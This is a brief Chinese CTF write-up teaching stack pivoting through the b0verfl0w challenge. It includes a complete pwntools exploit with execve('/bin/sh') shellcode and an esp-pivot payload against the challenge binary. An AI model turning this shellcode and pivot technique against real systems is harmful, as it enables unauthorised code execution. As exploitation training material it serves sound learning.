仅供个人学习参考

原理

如其名,劫持栈指针指向攻击者能够控制的内存,再进行rop

利用情况:
1.可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
2.开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
3.其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

利用条件:
1.可以控制程序执行流。
2.可以控制 sp 指针。

例题

X-CTF Quals 2016 - b0verfl0w https://raw.githubusercontent.com/GNchen1/Pages/main/Img/b0verfl0w

1

1

存在栈溢出,但溢出后可供写入的字节数很少,考虑Stack pivoting

思路:往栈上写shellcode,再劫持esp到shellcode处

栈变化如下,其中padding为填充的垃圾数据
fgets读入数据后
1
leave ret后,pop eip
1
eip执行jmp esp后
1
eip执行sub esp, 0x28;jmp esp后
1

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
sh = process('./b0verfl0w')

shellcode_x86=asm("xor ecx, ecx;mul ecx")
shellcode_x86+=asm("push ecx;push 0x68732f2f") #ecx-->0
shellcode_x86+=asm("push 0x6e69622f;mov ebx, esp") ##两个0x 是binsh ebx-->binhsh
shellcode_x86+=asm("mov al, 0xb;int 0x80") # eax--> 0xb

# shellcode_x86=asm("xor ecx, ecx;mul ecx;push ecx;push 0x68732f2f;push 0x6e69622f;mov ebx, esp;mov al, 0xb;int 0x80")

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()